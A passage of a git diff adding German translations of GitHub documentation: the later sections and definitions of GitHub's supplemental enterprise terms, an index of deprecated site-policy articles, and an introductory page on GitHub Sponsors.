+Der Kunde gewährt GitHub das Recht, Kundeninhalte zu speichern, zu analysieren und anzuzeigen und gelegentlich Kopien zu erstellen, insoweit dies zur Bereitstellung des Diensts erforderlich ist. Dies beinhaltet das Recht, Kundeninhalte in die Datenbank von GitHub zu kopieren und Sicherungskopien zu erstellen, Kundeninhalte für den Kunden und diejenigen anzuzeigen, denen der Kunde sie zeigt, Kundeninhalte in einen Suchindex zu zerlegen oder anderweitig auf den Servern von GitHub zu analysieren, Kundeninhalte mit externen Benutzern zu teilen, mit denen der Kunde sie teilen möchte, und Kundeninhalte auszuführen, falls es sich beispielsweise um Musik oder Videos handelt. Diese Rechte gelten sowohl für öffentliche als auch für Private Repositories. Diese Lizenz gewährt GitHub nicht das Recht, Kundeninhalte zu verkaufen oder auf andere Weise zu verbreiten oder außerhalb des Diensts zu verwenden. Der Kunde gewährt GitHub die Rechte, die er benötigt, um Kundeninhalte ohne Namensnennung zu verwenden und angemessene Anpassungen an den Kundeninhalten vorzunehmen, soweit dies für die Bereitstellung des Dienstes erforderlich ist.
+
+#### 2.3.4. Lizenzgewährung an externe Benutzer.
+**(i)** Alle Inhalte, die der Kunde öffentlich postet, einschließlich Issues, Kommentaren und Beiträgen zu den Repositorys externer Benutzer, können von anderen eingesehen werden. Indem der Kunde festlegt, dass seine Repositories öffentlich einsehbar sind, willigt er ein, dass Externe Nutzer die Repositories des Kunden einsehen und Forken können.
+
+**(ii)** Wenn der Kunde seine Seiten und Repositorys als öffentlich einsehbar einstellt, gewährt der Kunde externen Benutzern in dem Umfang, den die von GitHub bereitgestellten Funktionen zulassen (z. B. durch Forken), eine nicht ausschließliche, weltweite Lizenz zur Nutzung, Anzeige und Ausführung von Kundeninhalten über den Dienst und zur Vervielfältigung von Kundeninhalten ausschließlich im Dienst. Der Kunde kann weitere Rechte an Kundeninhalten gewähren, wenn er [eine Lizenz einführt](/github/building-a-strong-community/adding-a-license-to-a-repository#including-an-open-source-license-in-your-repository). Wenn der Kunde Kundeninhalte hochlädt, die er nicht erstellt hat oder nicht besitzt, muss er sicherstellen, dass die von ihm hochgeladenen Kundeninhalte unter Bestimmungen lizenziert sind, die diese Berechtigungen für externe Benutzer gewähren.
+
+#### 2.3.5. Beiträge unter Repository-Lizenz.
+Leistet der Kunde Beiträge zu einem Repository mit einem Lizenzhinweis, lizenziert der Kunde seine Beiträge zu denselben Bestimmungen und stimmt zu, dass er das Recht hat, den entsprechenden Beitrag gemäß diesen Bestimmungen zu lizenzieren. Verfügt der Kunde über eine gesonderte Vereinbarung zur Lizenzierung seiner Beiträge, für die andere Bestimmungen gelten (z. B. eine Lizenzvereinbarung für Beitragende), hat die entsprechende Vereinbarung Vorrang.
+
+#### 2.3.6 Urheberpersönlichkeitsrechte.
+Der Kunde behält alle Urheberpersönlichkeitsrechte an Kundeninhalten, die er in irgendeinem Teil des Dienstes hochlädt, veröffentlicht oder dorthin übermittelt, einschließlich der Rechte auf Integrität und Namensnennung. Der Kunde verzichtet jedoch auf diese Rechte und stimmt zu, diese gegenüber GitHub nicht geltend zu machen, um GitHub die angemessene Ausübung der Rechte nach Abschnitt 2.3 zu ermöglichen, wobei dies jedoch ausschließlich zu diesem Zweck gilt.
+
+### 2.4 Private Repositorys.
+
+#### 2.4.1 Kontrolle.
+
+Der Kunde ist für die Verwaltung des Zugriffs auf seine privaten Repositorys verantwortlich, einschließlich Einladungen, administrativer Kontrolle von Organisationen und Teams sowie Beendigung des Zugriffs.
+
+#### 2.4.2 Vertraulichkeit.
+
+GitHub betrachtet Kundeninhalte in den Privaten Repositories des Kunden als Vertrauliche Informationen des Kunden. GitHub schützt die Kundeninhalte privater Repositorys und hält sie nach der geltenden Vertraulichkeitsbestimmung in der Microsoft-Kundenvereinbarung streng vertraulich.
+
+#### 2.4.3 Zugriff.
+
+GitHub kann ausschließlich in folgenden Fällen auf private Repositorys des Kunden zugreifen: (i) zur Bereitstellung von Support mit dem Wissen und der Zustimmung des Kunden, oder (ii) wenn der Zugriff aus Sicherheitsgründen erforderlich ist.  Der Kunde kann entscheiden, zusätzlichen Zugriff auf seine Privaten Repositories zu ermöglichen. Beispielsweise kann der Kunde verschiedene GitHub Dienste oder Funktionen aktivieren, die zusätzliche Rechte an Kundeninhalten in Privaten Repositories erfordern. Diese Rechte können je nach Dienst oder Funktion variieren, aber GitHub wird Kundeninhalte in Privaten Repositories des Kunden weiterhin als Vertrauliche Informationen des Kunden behandeln. Wenn diese Dienste oder Funktionen zusätzlich zu den für die Bereitstellung des Dienstes nötigen Rechten weitere Rechte erfordern, wird GitHub eine Erläuterung dieser Rechte bereitstellen.
+
+#### 2.4.4 Ausschlüsse.
+
+Hat GitHub Grund zu der Annahme, dass Inhalte eines privaten Repositorys gegen Gesetze oder diese ergänzenden GitHub-Bestimmungen verstoßen, hat GitHub das Recht, auf die betreffenden Inhalte zuzugreifen, sie zu überprüfen und zu entfernen. Darüber hinaus kann GitHub gesetzlich verpflichtet sein, Inhalte in privaten Repositorys des Kunden offenzulegen. Sofern eine solche Offenlegung nicht aufgrund gesetzlicher Auflagen oder als Reaktion auf eine Sicherheitsbedrohung oder ein anderes Sicherheitsrisiko erfolgt, informiert GitHub über entsprechende Maßnahmen.
+
+### 2.5. Hinweise zu geistigem Eigentum.
+
+#### 2.5.1. Rechte von GitHub an Inhalten.
+
+Das Erscheinungsbild des Dienstes ist urheberrechtlich geschützt: © GitHub, Inc. Alle Rechte vorbehalten. Der Kunde darf ohne ausdrückliche schriftliche Genehmigung von GitHub keinen Teil der HTML/CSS-, Javascript- oder visuellen Designelemente oder -konzepte duplizieren, kopieren oder wiederverwenden.
+
+#### 2.5.2 Urheberrechtsverletzungen und DMCA-Richtlinie.
+
+Wenn der Kunde ein Urheberrechtsinhaber ist und glaubt, dass Inhalte im Dienst sein Urheberrecht verletzen, kann er GitHub nach der [Richtlinie zum Digital Millennium Copyright Act](https://github.com/contact/dmca) über das [DMCA-Formular](https://github.com/contact/dmca-notice) oder per E-Mail an copyright@github.com benachrichtigen.
+
+#### 2.5.3. Marken und Logos von GitHub.
+
+Wenn der Kunde die Marken von GitHub verwenden möchte, muss er alle Markenrichtlinien von GitHub befolgen, einschließlich der Richtlinien auf der [Seite zu GitHub-Logos und ihrer Nutzung](https://github.com/logos).
+
+### 2.6 Aussetzung.
+
+GitHub hat das Recht, den Zugriff auf den Dienst bei einem Verstoß gegen die Microsoft-Kundenvereinbarung, einschließlich dieser ergänzenden GitHub-Bestimmungen, oder zum Schutz der Integrität, Betriebsfähigkeit und Sicherheit des Diensts mit oder ohne vorherige Mitteilung mit sofortiger Wirkung jederzeit teilweise oder vollständig auszusetzen, einschließlich der Entfernung von Inhalten. Sofern nicht gesetzlich oder gerichtlich verboten oder um unmittelbaren Schaden für den Dienst oder Dritte zu verhindern, stellt GitHub bei oder vor einer solchen Aussetzung normalerweise eine Benachrichtigung in Form eines Banners oder einer E-Mail bereit. GitHub wird nach eigenem Ermessen und in gutem Glauben jede Aussetzung nach Bedarf anpassen, um die Integrität, Funktionsfähigkeit und Sicherheit des Dienstes zu wahren.
+
+### 2.7 Kommunikation mit GitHub.
+
+Für Vertragszwecke (1) willigt der Kunde ein, Mitteilungen in elektronischer Form über die von ihm angegebene E-Mail-Adresse oder über den Dienst zu erhalten; und (2) stimmt zu, dass alle Nutzungsbedingungen, Vereinbarungen, Mitteilungen, Offenlegungen und andere Mitteilungen, die GitHub elektronisch bereitstellt, alle gesetzlichen Anforderungen erfüllen, die diese Mitteilungen erfüllen würden, wenn sie auf Papier wären. Dieser Abschnitt berührt nicht die unverzichtbaren Rechte des Kunden.
+
+### 2.8 Vereinbarung zum Servicelevel.
+
+Die vierteljährliche Uptimezusage von GitHub für den Dienst finden Sie in der [Enterprise-Vereinbarung zum Servicelevel](/github/site-policy/github-enterprise-service-level-agreement). Der Kunde hat Anspruch auf eine Servicegutschrift, wenn GitHub das Servicelevel nicht erfüllt.
+
+### 2.9 Dienständerungen.
+
+GitHub ändert den Dienst durch Updates und Hinzufügen neuer Funktionen. GitHub behält sich vorbehaltlich Abschnitt 2.8 das Recht vor, den Dienst jederzeit mit oder ohne Ankündigung vorübergehend oder dauerhaft teilweise oder vollständig zu ändern oder einzustellen.
+
+### 2.10 Zusätzliche Dienstfunktionen.
+
+Einige Funktionen des Dienstes können zusätzlichen Bestimmungen unterliegen, wie in den [Zusätzlichen Produktbestimmungen von GitHub](/github/site-policy/github-additional-product-terms) dargelegt. Durch den Zugriff auf oder die Nutzung dieser Funktionen stimmt der Kunde den Zusätzlichen Produktbestimmungen von GitHub zu.
+
+## ABSCHNITT 3: ALLGEMEINE BESTIMMUNGEN.
+
+Dieser Abschnitt 3 enthält die Bestimmungen, die für den Erwerb und die Nutzung von Produkten durch den Kunden gelten.
+
+### 3.1 Laufzeit, Kündigung, Wirkung von Kündigung.
+
+#### 3.1.1 Laufzeit.
+Diese ergänzenden GitHub-Bestimmungen bleiben solange in Kraft, bis sie durch eine der Parteien nach diesem Abschnitt 3.1 gekündigt werden.
+
+#### 3.1.2. Ordentliche Kündigung, Kontoauflösung.
+Jede Partei kann ein Bestellformular oder diese ergänzenden GitHub-Bestimmungen mit schriftlicher Mitteilung ohne Angabe von Gründen mit einer Frist von dreißig (30) Tagen zum Ende der jeweiligen Abonnementlaufzeit kündigen. Kündigt der Kunde ein Bestellformular oder diese ergänzenden GitHub-Bestimmungen, ist der Kunde dafür verantwortlich, sein Konto bei GitHub ordnungsgemäß über die Einstellungen in der allgemeinen Navigationsleiste oben auf dem Bildschirm aufzulösen. GitHub kann Konten nicht als Antwort auf eine E-Mail- oder Telefonanfrage auflösen.
+
+#### 3.1.3. Kündigung aufgrund wesentlicher Vertragsverletzung.
+Jede Partei kann diese ergänzenden GitHub-Bestimmungen fristlos schriftlich kündigen, wenn die andere Partei eine wesentliche Verpflichtung nach diesen ergänzenden GitHub-Bestimmungen verletzt und die Verletzung nicht innerhalb von dreißig (30) Tagen ab dem Mitteilungserhalt behebt.  GitHub kann diese ergänzenden GitHub-Bestimmungen kündigen, wenn das Kundenkonto seit mehr als 90 Tagen gesperrt ist.
+
+#### 3.1.4 Wirkung von Kündigung.
+Nach Kündigung dieser ergänzenden GitHub-Bestimmungen kann der Kunde keine weiteren Bestellformulare einreichen. Diese ergänzenden GitHub-Bestimmungen bleiben jedoch für alle ggf. aktiven Bestellformulare in vollem Umfang in Kraft. Wenn ein Bestellformular gekündigt wird oder abläuft, gilt für das betreffende Bestellformular Folgendes: (i) Die Abonnementlaufzeit endet mit sofortiger Wirkung. (ii) Alle Abonnementlizenzen im Bestellformular werden automatisch beendet, und der Kunde ist nicht länger zur Nutzung der Produkte berechtigt. (iii) Schuldet der Kunde vor der Kündigung Gebühren, sind diese mit sofortiger Fälligkeit zahlbar. (iv) Der Kunde muss sämtliche Kopien der Software in seinem Besitz oder unter seiner Kontrolle vernichten und GitHub dies schriftlich bestätigen. (v) Jede Partei gibt umgehend sämtliche vertraulichen Informationen der anderen Partei zurück (oder vernichtet diese auf Anfrage der anderen Partei), insoweit dies für den Dienst zulässig ist. Der Kunde kann ungeachtet des Vorstehenden nach der Kündigung oder dem Ablauf dieser Vereinbarung oder eines Bestellformulars für neunzig (90) Tage weiterhin auf die Software zugreifen, um seine Daten zu migrieren, und die Migration der Daten in seinen Repositorys anfordern. Der Kunde darf die Software oder den Dienst in diesem Zeitraum jedoch nicht zu Produktionszwecken nutzen. Alle Bestimmungen, die aufgrund ihrer Art billigerweise gültig bleiben sollten, bleiben nach Kündigung oder Ablauf dieser Vereinbarung oder eines Bestellformulars gültig.
+
+### 3.2 Feedback.
+Der Kunde kann GitHub Feedback zu den Produkten geben. Feedback ist freiwillig und stellt keine Vertraulichen Informationen des Kunden dar, auch wenn es als solche gekennzeichnet ist. GitHub kann dieses Feedback vollständig ausüben und nutzen, um (i) den Betrieb, die Funktionalität und die Nutzung der vorhandenen und zukünftigen Produktangebote von GitHub zu verbessern und diese Angebote zu kommerzialisieren; und (ii) um aggregierte Statistiken über die Qualität der Produkte zu veröffentlichen, vorausgesetzt, dass keine Daten in einer solchen Veröffentlichung verwendet werden, um den Kunden, seine Mitarbeiter oder den proprietären Softwarecode des Kunden speziell zu identifizieren.
+
+### 3.3. Einhaltung von Gesetzen und Regelungen.
+Der Kunde hält bei der Nutzung der Produkte alle anwendbaren Gesetze und Regelungen ein, insbesondere Datenschutz- und Arbeitsgesetze und -regelungen.
+
+### 3.4 Vorrang.
+Im Falle eines Widerspruchs zwischen den ergänzenden Bestimmungen und einem Bestellformular gilt das Bestellformular nur in Bezug auf die jeweilige Bestellung. Im Falle eines Widerspruchs zwischen den ergänzenden Bestimmungen (einschließlich eines Bestellformulars) und der Microsoft-Kundenvereinbarung gelten die ergänzenden Bestimmungen nur in Bezug auf den jeweiligen Gegenstand.
+
+## ANHANG A: DEFINITIONEN
+
+**„Aktiver Benutzer“** bezeichnet einen Benutzer, der versucht, während eines Ausfalls auf den Dienst zuzugreifen.
+
+**„Add-On Software“** bezeichnet Advanced Security, Insights, Learning Lab for Enterprise Server und andere zusätzliche Software-Add-On-Produkte, die GitHub von Zeit zu Zeit anbieten kann.
+
+„**Advanced Security**“ bezeichnet das Softwarefeature, das es dem Kunden ermöglicht, Sicherheitslücken durch anpassbare und automatisierte semantische Codeanalyse zu identifizieren.
+
+**„Verbundenes Unternehmen“** bezeichnet jede juristische Person, die direkt oder indirekt eine Partei kontrolliert, von ihr kontrolliert wird oder mit ihr unter gemeinsamer Kontrolle steht, wobei „Kontrolle“ mehr als fünfzig Prozent (50 %) des Eigentums bedeutet oder das Recht, der Geschäftsführung der juristischen Person Weisungen zu erteilen.
+
+**„Alle Nutzer“** bezeichnet zusammenfassend Nutzer des Kunden und externe Nutzer, die den Dienst nutzen.
+
+**„Connect“** oder **„GitHub Connect“** bezeichnet ein in der Software enthaltenes Feature, mit dem der Kunde die Software mit dem Dienst verbinden kann. Die Nutzung von GitHub Connect unterliegt den Bestimmungen für GitHub Connect in [Zusätzliche Produktbestimmungen von GitHub](/github/site-policy/github-additional-product-terms).
+
+**„Inhalt(e)“** bezeichnet, ohne Einschränkung, Code, Text, Daten, Artikel, Bilder, Pakete, Fotos, Grafiken, Software, Anwendungen, Designs, Funktionen und andere Materialien, die der Dienst enthält, anzeigt oder anderweitig verfügbar macht.
+
+**„Unternehmenskonto“** bezeichnet ein Konto, das von einem Nutzer im Namen einer juristischen Person erstellt wurde.
+
+**„Kunde“** bedeutet zusammenfassend das Unternehmen oder die Organisation, das bzw. die durch Klicken auf „ICH STIMME ZU“ oder eine ähnliche Schaltfläche oder den Zugriff auf die Produkte diese ergänzenden GitHub-Bestimmungen mit GitHub abgeschlossen hat, sowie verbundene Unternehmen und Vertreter des Kunden.
+
+**„Kundeninhalte“** bezeichnet Inhalte, die der Kunde erstellt, besitzt oder an denen der Kunde die Rechte hält.
+
+**„Kundenänderungen“** sind Änderungen an der Software, die der Kunde ausschließlich zwecks Entwicklung von Fehlerbehebungen, Anpassungen oder zusätzlichen Features von Bibliotheken vornehmen kann, die durch Open-Source-Lizenzen lizenziert sind und ggf. in der Software enthalten oder mit dieser verknüpft sind.
+
+**„Dokumentation“** bezeichnet alle Handbücher, Dokumentationen und andere unterstützende Materialien in Bezug auf die Software oder den Dienst, die GitHub dem Kunden bereitstellt oder für ihn verfügbar macht.
+
+**„Wirksamkeitsdatum“** ist das Datum, an dem der Kunde (i) den Geschäftsbedingungen dieser ergänzenden GitHub-Bestimmungen zustimmt oder (ii) zum ersten Mal eine Bestellung für die Produkte aufgibt, wobei das frühere Datum maßgeblich ist.
+
+**„Grundlegende Dienste“** bezeichnet die Dienste, die für die Steuerungsfunktionen der GitHub-Basisversion notwendig sind (einschließlich Erstellen, Forken und Klonen von Repositorys, Erstellen, Committen und Zusammenführen von Branches, Erstellen, Überprüfen und Zusammenführen von Pull Requests) sowie Web-, API- und Git-Clientschnittstellen zu den Git-Basisworkflows. Beispiele für nicht enthaltene Peripheriefeatures und -dienste sind Webhooks, Gists, Pages und E-Mail-Benachrichtigungen.
+
+**„Externer Nutzer“** bezeichnet eine Einzelperson, ausgenommen die Nutzer des Kunden, die den Dienst besucht oder nutzt.
+
+„**Gebühren**“ bezeichnet die in einem Bestellformular oder einer Leistungsbeschreibung angegebenen Gebühren, die der Kunde an GitHub zahlen muss, um (i) die Produkte während der jeweiligen Abonnementlaufzeit zu nutzen oder (ii) Professional Services zu erhalten.
+
+**„Feedback“** bezeichnet alle Ideen, Know-how, Algorithmen, Codebeiträge, Vorschläge, Anfragen zur Erweiterung von Produktfunktionalitäten, Empfehlungen oder sonstiges Feedback zu Produkten oder Diensten von GitHub.
+
+**„Forken“ oder „Abspalten“** bedeutet, den Inhalt eines Repositories in ein anderes Repository zu kopieren.
+
+**„GitHub“** bezeichnet zusammenfassend GitHub, Inc., seine verbundenen Unternehmen und seine Vertreter.
+
+**„GitHub Inhalte“** bezeichnet Inhalte, die GitHub erstellt, besitzt oder an denen es die Rechte hält.
+
+**„GitHub Insights“** oder **„Insights“** bezeichnet das Softwarefeature, das dem Kunden Metriken, Analysen und Empfehlungen in Bezug auf die Nutzung der Software zur Verfügung stellt. GitHub Insights enthält keine Legacyfeatures von GitHub, einschließlich Organisationseinblicke und Repository-Insights.
+
+**„Learning Lab for Enterprise Server“** bezeichnet das Softwarefeature, mit dem Benutzer mehr über die GitHub-Funktionalität erfahren können, einschließlich der zugehörigen Dokumentation.
+
+**„Lizenzschlüssel“** bezeichnet die vom Zugriffssteuerungsmechanismus der Software verwendete Datendatei, mit der der Kunde die Software installieren, betreiben und verwenden kann.
+
+**„Maschinenkonto“** bezeichnet ein Konto, das von einem einzelnen Menschen registriert wurde, der die geltenden Nutzungsbedingungen im Namen des Maschinenkontos akzeptiert, eine gültige E-Mail-Adresse angibt und für seine Handlungen verantwortlich ist. Ein Maschinenkonto wird ausschließlich zur Ausführung automatisierter Aufgaben verwendet. Mehrere Nutzer können die Aktionen eines Maschinenkontos steuern, aber letztendlich ist der Inhaber des Kontos für die Aktionen der Maschine verantwortlich.
+
+**„Bestellformular“** bezeichnet die schriftliche oder elektronische Dokumentation (einschließlich eines Angebots), die die Parteien zum Bestellen der Produkte verwenden.
+
+**„Organisation“** bezeichnet einen gemeinsam genutzten Arbeitsbereich, der mit einer einzelnen juristischen Person oder mit einem oder mehreren Nutzern verknüpft sein kann, wobei mehrere Nutzer gleichzeitig über viele Projekte hinweg zusammenarbeiten können. Ein Benutzer kann Mitglied mehrerer Organisationen sein.
+
+**„Ausfall“** bezeichnet die Unterbrechung eines grundlegenden Diensts, die mehr als 50 % der aktiven Benutzer betrifft.
+
+**„Privates Repository“** bezeichnet ein Repository, das es einem Nutzer ermöglicht, den Zugriff auf Inhalte zu kontrollieren.
+
+**„Professional Services“** bezeichnet Schulungs-, Beratungs- oder Implementierungsdienste, die GitHub gemäß einer gemeinsam unterzeichneten Leistungsbeschreibung bereitstellt. In Professional Services ist kein Support enthalten.
+
+**„Öffentliches Repository“** bezeichnet ein Repository, dessen Inhalt für alle Nutzer sichtbar ist.
+
+**„Release“** bezeichnet ein Softwarerelease und alle zugehörigen Änderungen der Dokumentation, die GitHub für seine Kunden allgemein verfügbar macht und die Erweiterungen, neue Features oder neue Funktionen enthält und im Allgemeinen durch die Änderung der Ziffer rechts von der ersten Dezimalstelle (z. B. von x.x.x in x.y.x) oder links von der ersten Dezimalstelle (z. B. von x.x.x in y.x.x) gekennzeichnet wird.
+
+**„Vertreter“** bezeichnet die Mitarbeiter, Vertreter, unabhängigen Vertragspartner, Berater sowie Rechts- und Finanzberater einer Partei.
+
+**„Scraping“** bezeichnet das Extrahieren von Daten aus dem Dienst über einen automatisierten Prozess, wie z. B. einen Bot oder Webcrawler, und umfasst nicht das Sammeln von Informationen über die API von GitHub.
+
+**„Dienst“** bezeichnet den gehosteten GitHub Enterprise Cloud-Dienst. Der Dienst umfasst Folgendes: Organisationskonten, SAML Single Sign-On, Zugriffsbereitstellung und sämtliche entsprechende Dokumentation. Diese Liste von Funktionen und Diensten ist nicht vollständig und kann von Zeit zu Zeit aktualisiert werden.
+
+**„Servicegutschrift“** bezeichnet eine Gutschrift in Dollar, die wie unten beschrieben berechnet wird und die GitHub anspruchsberechtigten Konten gutschreiben kann.
+
+**„Software“** bezeichnet die lokale GitHub Enterprise Server-Software. Software umfasst das Feature GitHub Connect, entsprechende Dokumentation, alle Updates der Software, die GitHub dem Kunden bereitstellt oder auf die er im Rahmen dieser ergänzenden GitHub-Bestimmungen zugreifen kann, und, sofern im Abonnement des Kunden enthalten, Add-On-Software.
+
+**„Leistungsbeschreibung“** bezeichnet eine gemeinsam unterzeichnete Leistungsbeschreibung, in der die von GitHub zu erbringenden Professional Services, alle damit verbundenen Gebühren und die damit einhergehenden Verpflichtungen jeder Partei aufgeführt sind.
+
+**„Abonnementlizenz“** bezeichnet die jedem Benutzer zugewiesene Lizenz, um im Namen des Kunden auf die Produkte zuzugreifen, sie zu installieren, zu betreiben und zu verwenden. Der Kunde darf in all seinen GitHub Enterprise Server-Instanzen und GitHub Enterprise Cloud-Organisationen nur eine Abonnementlizenz pro Benutzer zuweisen. Jeder Benutzer kann auf die Anzahl von Enterprise Server-Instanzen oder Enterprise Cloud-Organisationen zugreifen, die der Kunde zulässt. Der Kunde ist nach der Zuweisung einer Abonnementlizenz zu einem Benutzer jedoch nicht berechtigt, die Abonnementlizenz so zu gabeln, dass ein Benutzer eine Abonnementlizenz für Enterprise Server und ein anderer Benutzer dieselbe Abonnementlizenz für eine andere Instanz von GitHub Enterprise Server oder eine Organisation in GitHub Enterprise Cloud verwenden kann. Abonnementlizenzen werden pro Nutzer gewährt, und mehrere Nutzer dürfen nicht dieselbe Abonnementlizenz verwenden. Der Kunde darf eine Abonnementlizenz einem neuen Nutzer erst nach neunzig (90) Tagen nach der letzten Neuzuweisung derselben Abonnementlizenz neu zuweisen, es sei denn, die Neuzuweisung ist auf (i) dauerhaften Hardwareausfall oder -verlust, (ii) Beendigung des Arbeitsverhältnisses des Nutzers oder eines Vertrag, oder (iii) die vorübergehende Neuzuweisung von Abonnementlizenzen zurückzuführen, um die Abwesenheit eines Nutzers abzudecken. Wenn der Kunde eine Abonnementlizenz einem anderen Nutzer zuweist, muss der Kunde den Zugriff des früheren Nutzers auf die Abonnementlizenz und die Organisationen des Kunden sperren.
+
+**„Abonnementlaufzeit“** bezeichnet den Zeitraum von einem (1) Jahr ab dem Wirksamkeitsdatum einer Bestellung oder wie anderweitig in einem Bestellformular angegeben.
+
+**„Support“** bezeichnet technischen Support für die Software oder den Dienst, die bzw. den GitHub unter Umständen bereitstellt.
+
+**„Update“** bezeichnet ein Softwarerelease und alle zugehörigen Änderungen der Dokumentation, die GitHub für seine Kunden allgemein verfügbar macht und die Fehlerkorrekturen oder -behebungen enthält und im Allgemeinen durch eine Änderung der Ziffer rechts von der zweiten Dezimalstelle (z. B. von x.x.x in x.x.y) gekennzeichnet wird.
+
+**„Uptime“** bezeichnet den prozentualen Anteil der Zeit in einem gegebenen Quartal, in dem die grundlegenden Dienste von GitHub nicht durch einen Ausfall, der mehr als 50 % der aktiven Benutzer betrifft, unterbrochen werden.
+
+**„Benutzer“** bezeichnet (i) im Zusammenhang mit der Software eine Einzelperson oder ein Computerkonto, die bzw. das die Ausführung der Software initiiert oder mit der Software zwecks Ausführung ihrer Funktionen interagiert oder diese zu diesem Zweck steuert, und (ii) im Zusammenhang mit dem Dienst eine Einzelperson oder ein Computerkonto, die bzw. das (a) auf den Dienst zugreift oder den Dienst nutzt, (b) auf einen beliebigen Teil des Kundenkontos zugreift oder einen beliebigen Teil des Kundenkontos nutzt oder (c) die Nutzung des Kundenkontos zwecks Ausführung von Funktionen steuert, wobei dies jeweils im Namen des Kunden erfolgt. Die Anzahl der Nutzer sollte die Anzahl der Abonnementlizenzen, die der Kunde erworben hat, nicht überschreiten.
+
+**„Nutzergenerierte Inhalte“** bezeichnet Inhalte, die von einem Dritten oder Externen Nutzer erstellt wurden oder dessen Eigentum sind.
diff --git a/translations/de-DE/content/site-policy/site-policy-deprecated/index.md b/translations/de-DE/content/site-policy/site-policy-deprecated/index.md
new file mode 100644
index 0000000000..1e6df4c4d2
--- /dev/null
+++ b/translations/de-DE/content/site-policy/site-policy-deprecated/index.md
@@ -0,0 +1,25 @@
+---
+title: Veraltete Artikel zur Websiterichtlinie
+allowTitleToDifferFromFilename: true
+hidden: true
+redirect_from:
+  - /github/site-policy-deprecated
+versions:
+  fpt: '*'
+children:
+  - /amendment-to-github-terms-of-service-applicable-to-us-federal-government-users
+  - /github-ae-data-protection-agreement
+  - /github-ae-product-specific-terms
+  - /github-enterprise-cloud-evaluation-agreement
+  - /github-enterprise-server-license-agreement
+  - /github-enterprise-service-level-agreement
+  - /github-enterprise-subscription-agreement
+  - /github-supplemental-terms-for-microsoft-volume-licensing
+ms.openlocfilehash: 86a5ed109b7ef13b19eff0104d992f012556f3f5
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099257'
+---
+
diff --git a/translations/de-DE/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md b/translations/de-DE/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md
new file mode 100644
index 0000000000..6b2ca26b73
--- /dev/null
+++ b/translations/de-DE/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md
@@ -0,0 +1,58 @@
+---
+title: Informationen zu GitHub Sponsors
+intro: 'Mit {% data variables.product.prodname_sponsors %} kann die Entwickler-Community die Personen und Organisationen, die wichtige Open-Source-Projekte entwerfen, entwickeln und verwalten, direkt auf {% data variables.product.product_name %} finanziell unterstützen.'
+redirect_from:
+  - /articles/about-github-sponsors
+  - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Open Source
+  - Fundamentals
+ms.openlocfilehash: 7fd54eb981d9083b1c5a0cc843834ecdfc895a8a
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145149700'
+---
+## Informationen zu {% data variables.product.prodname_sponsors %}
+
+{% data reusables.sponsors.sponsorship-details %}
+
+{% data reusables.sponsors.no-fees %} Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors).
+
+{% data reusables.sponsors.you-can-be-a-sponsored-developer %} Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_sponsors %} für Open-Source-Mitwirkende](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors) und [Einrichten von {% data variables.product.prodname_sponsors %} für dein persönliches Konto](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account).
+
+{% data reusables.sponsors.you-can-be-a-sponsored-organization %} Weitere Informationen findest du unter [Einrichten von {% data variables.product.prodname_sponsors %} für deine Organisation](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization).
+
+Wenn du ein unterstützter Entwickler oder eine unterstütze Organisation wirst, gelten zusätzliche Bedingungen für {% data variables.product.prodname_sponsors %}. Weitere Informationen findest du unter [Zusätzliche Bedingungen für GitHub-Sponsoren](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms).
+
+## Informationen zu {% data variables.product.prodname_matching_fund %}
+
+{% note %}
+
+**Hinweis:** {% data reusables.sponsors.matching-fund-eligible %}
+
+{% endnote %}
+
+Der {% data variables.product.prodname_matching_fund %} zielt darauf ab, Mitgliedern der {% data variables.product.prodname_dotcom %}-Community zu helfen, die Open-Source-Software entwickeln, welche die [{% data variables.product.prodname_dotcom %}-Community-Richtlinien](/free-pro-team@latest/github/site-policy/github-community-guidelines) fördert. Für Zahlungen an gesponserte Organisationen und Zahlungen von Organisationen ist der {% data variables.product.prodname_matching_fund %} nicht bestimmt.
+
+Um für {% data variables.product.prodname_matching_fund %} berechtigt zu sein, musst Du ein Profil erstellen, das eine Community anzieht, die Dich langfristig unterstützen wird. Weitere Informationen findest du unter [Bearbeiten deiner Profildetails für {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors).
+
+Spenden zwischen gesponserten Entwicklern werden nicht gegeneinander aufgerechnet.
+
+{% data reusables.sponsors.legal-additional-terms %}
+
+## Feedback zu {% data variables.product.prodname_sponsors %} geben
+
+{% data reusables.sponsors.feedback %}
+
+## Weiterführende Themen
+- [Unterstützen von Open-Source-Mitwirkenden](/sponsors/sponsoring-open-source-contributors)
+- [Empfangen von Sponsoring über {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)
+- [Suche von Nutzern und Organisationen nach der Eignung als Sponsor](/github/searching-for-information-on-github/searching-on-github/searching-users#search-based-on-ability-to-sponsor)
+- [Suche von Repositorys nach der Eignung als Sponsor](/github/searching-for-information-on-github/searching-on-github/searching-for-repositories#search-based-on-ability-to-sponsor)
+- [Häufig an das {% data variables.product.prodname_sponsors %}-Team gestellte Fragen](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/) auf {% data variables.product.prodname_blog %}
diff --git a/translations/de-DE/content/sponsors/getting-started-with-github-sponsors/index.md b/translations/de-DE/content/sponsors/getting-started-with-github-sponsors/index.md
new file mode 100644
index 0000000000..262091229a
--- /dev/null
+++ b/translations/de-DE/content/sponsors/getting-started-with-github-sponsors/index.md
